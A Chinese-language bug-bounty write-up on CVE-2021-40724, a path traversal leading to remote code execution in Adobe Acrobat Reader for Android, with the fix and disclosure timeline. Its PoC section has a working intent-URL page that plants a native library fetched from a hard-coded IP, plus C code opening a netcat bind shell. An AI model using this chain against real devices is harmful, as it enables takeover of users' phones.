$10,000獎勵:安卓平臺Adobe Acrobat Reader RCE漏洞
背景介紹:
今天的故事來自一位ID名為SUNNY的白帽子,他在測試 Adobe Acrobat Reader APP時,發現該應用程序允許用戶直接從 http/https URL打開 pdf 的功能,此功能會受到路徑遍歷漏洞影響。Abode Reader 還使用 了Google Play 核心庫進行動態代碼加載,使用路徑遍歷錯誤和動態代碼加載,從而實現遠程代碼執行(RCE),該漏洞的CVE編號為CVE-2021-40724。
尋找路徑遍歷漏洞:
<activity android:theme="@style/Theme_Virgo_SplashScreen" android:name="com.adobe.reader.AdobeReader" android:exported="true" android:launchMode="singleTask" android:screenOrientation="user" android:configChanges="keyboardHidden|screenLayout|screenSize|smallestScreenSize" android:noHistory="false" android:resizeableActivity="true"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <action android:name="android.intent.action.EDIT"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="file"/> <data android:scheme="content"/> <data android:scheme="http"/> <data android:scheme="https"/> <data android:mimeType="application/pdf"/> </intent-filter>
應用程序有一處intent-filter,表明可以接受 http/https URL,并且mime Type必須為application/pdf。
例如,當帶有數據的URL(http://localhost/test.pdf)傳送給Adobe Reader時,APP會將文件下載到/sdcard/Downloads/Adobe Acrobat文件夾中,文件名為所發送URL的LastPathSegment(如例子中會是test.pdf)
然后Activitycom.adobe.reader.AdobeReader接收到 Intent 并啟動
ARFileURLDownloadActivityActivity。
public void handleIntent() { Intent intent2 = new Intent(this, ARFileURLDownloadActivity.class); intent2.putExtra(ARFileTransferActivity.FILE_PATH_KEY, intent.getData()); intent2.putExtra(ARFileTransferActivity.FILE_MIME_TYPE, intent.getType()); startActivity(intent2); }
此時ARFileURLDownloadActivity會啟動com.adobe.reader.misc.ARFileURLDownloadService服務。
public void onMAMCreate(Bundle bundle) { super.onMAMCreate(bundle); this.mServiceIntent = new Intent(this, ARFileURLDownloadService.class); Bundle bundle2 = new Bundle(); //...// this.mServiceIntent.putExtras(bundle2); startService(); }
com.adobe.reader.misc.ARFileURLDownloadService.java代碼:
public int onMAMStartCommand(Intent intent, int i, int i2) { Bundle extras = intent.getExtras(); //..// String string = extras.getString(ARFileTransferActivity.FILE_MIME_TYPE, null); ARURLFileDownloadAsyncTask aRURLFileDownloadAsyncTask = new ARURLFileDownloadAsyncTask(ARApp.getInstance(), (Uri) extras.getParcelable(ARFileTransferActivity.FILE_PATH_KEY), (String) extras.getCharSequence(ARFileTransferActivity.FILE_ID_KEY), true, string); this.mURLFileDownloadAsyncTask = aRURLFileDownloadAsyncTask; aRURLFileDownloadAsyncTask.taskExecute(new Void[0]); return 2; }
com.adobe.reader.misc.ARURLFileDownloadAsyncTask.java代碼:
private void downloadFile() throws IOException, SVFileDownloadException { Exception exc; boolean z; Throwable th; boolean z2; Uri fileURI = this.mDownloadModel.getFileURI(); URL url = new URL(fileURI.toString()); try { String downloadFile = new ARFileFromURLDownloader(new ARFileFromURLDownloader.DownloadUrlListener() { ARFileFromURLDownloader.DownloadUrlListener public void onProgressUpdate(int i, int i2) { ARURLFileDownloadAsyncTask.this.broadcastUpdate(0, i, i2); }
@Override // com.adobe.reader.misc.ARFileFromURLDownloader.DownloadUrlListener public boolean shouldCancelDownload() { return ARURLFileDownloadAsyncTask.this.isCancelled(); } }).downloadFile(BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(fileURI.getLastPathSegment(), this.mDownloadModel.getMimeType(), null, fileURI), url); //...//
方法BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData接受this.mUri.getLastPathSegment()作為參數,并返回URL路徑中解碼后的最后一個片段。
例如,以URL:https://localhost/x/..%2F..%2Ffile.pdf為例,當這個URL傳遞給getLastPathSegment()方法時,它將接受..%2F..%2Ffile.pdf作為URL的最后一段,并返回../../file.pdf作為輸出。
在將downloadFile變量傳遞到File實例之前,沒有對其進行任何清理,于是便會導致路徑遍歷漏洞。
獲得RCE:
Adobe Acrobat Reader APP使用Google Play核心庫為用戶提供移動附加功能,要知道應用程序是否正在使用Play Core庫進行動態代碼加載,一種簡單的方法是檢查/data/data/:application_id/files/目錄中的spiltcompat目錄。
使用路徑遍歷漏洞,白帽小哥可以在APP的
/data/data/com.adobe.reader/files/splitcompat/1921618197/verified-splits/目錄中編寫任意APK,攻擊者的APK中的類將自動添加到APP的ClassLoader中,并在APP調用時執行惡意代碼,更詳細的解釋,可移步:
https://blog.oversecured.com/Why-dynamic-code-loading-could-be-dangerous-for-your-apps-a-Google-example/
Adobe Reader APP還會在運行期間下載一個名為FASOpenCVDF.apk的模塊,白帽小哥原本的計劃是覆蓋該文件并遠程訪問代碼執行,但是無法成功實現,問題在于路徑遍歷漏洞無法覆蓋現有文件…只能創建新文件。
在這個階段白帽小哥被困繞了很久,他一直在尋找一種方法在無需安裝額外APK的前提下來遠程代碼執行,在白帽小哥的設備上安裝的Play Core庫分析了其他應用程序后,他看到Play Core庫也提供了從/data/data/com.adobe.reader/files/splitcompat/:id/native-libraries/目錄加載本地代碼(.so文件)的功能。
FASOpenCVDF.apk模塊會從
/data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a目錄加載了一個本地庫,于是白帽小哥決定查看FASOpenCVDF.apk源代碼,在那里他發現這個模塊還試圖加載三個不可用的庫libADCComponent.so、libColoradoMobile.so和libopencv_info.so,于是成功解決了遠程代碼執行的問題。
白帽小哥創建了一個簡單的本地PoC庫,將其重命名為libopencvinfo.so,并將其放入
/data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a目錄中,在下一次APP啟動時,只要使用填充和簽名功能,就能成功執行惡意代碼了。
POC代碼:
<html><title> RCE in Adobe Acrobat Reader for android </title><body> <script> window.location.href="intent://34.127.85.178/x/x/x/x/x/..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.adobe.reader%2Ffiles%2Fsplitcompat%2F1921819312%2Fnative-libraries%2FFASOpenCVDF.config.arm64_v8a%2Flibopencv_info.so#Intent;scheme=http;type=application/*;package=com.adobe.reader;component=com.adobe.reader/.AdobeReader;end";</script> </body></html>
#include <jni.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
if (fork() == 0) { system("toybox nc -p 6666 -L /system/bin/sh -l"); } JNIEnv* env; if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) { return JNI_ERR; } return JNI_VERSION_1_6;}
漏洞修復:
com.adobe.libs.buildingblocks.utils.BBIntentUtils.java代碼:
private static final String FILE_NAME_RESERVED_CHARACTER = "[*/\\|?<>\"]";public static String getModifiedFileNameWithExtensionUsingIntentData(String str, String str2, ContentResolver contentResolver, Uri uri) { if (TextUtils.isEmpty(str)) { str = BBConstants.DOWNLOAD_FILE_NAME; } String str3 = null; if (!(contentResolver == null || uri == null)) { str3 = MAMContentResolverManagement.getType(contentResolver, uri); } String str4 = !TextUtils.isEmpty(str3) ? str3 : str2; if (!TextUtils.isEmpty(str4)) { String fileExtensionFromMimeType = BBFileUtils.getFileExtensionFromMimeType(str4); if (!TextUtils.isEmpty(fileExtensionFromMimeType)) { if (str.lastIndexOf(46) == -1) { str = str + '.' + fileExtensionFromMimeType; } else { String mimeTypeForFile = BBFileUtils.getMimeTypeForFile(str); if (TextUtils.isEmpty(mimeTypeForFile) || (!TextUtils.equals(mimeTypeForFile, str3) && !TextUtils.equals(mimeTypeForFile, str2))) { str = str + '.' + fileExtensionFromMimeType; } } } } return str.replaceAll(FILE_NAME_RESERVED_CHARACTER, "_"); }
漏洞處理時間線:
- Jul 29th,2021 - 向Adobe報告漏洞
- Aug 4th ,2021 - 報告跟蹤
- Oct 13th,2021 - 漏洞修復
- Dec 4th ,2021 - 獲得來自GPSRP $10,000 獎勵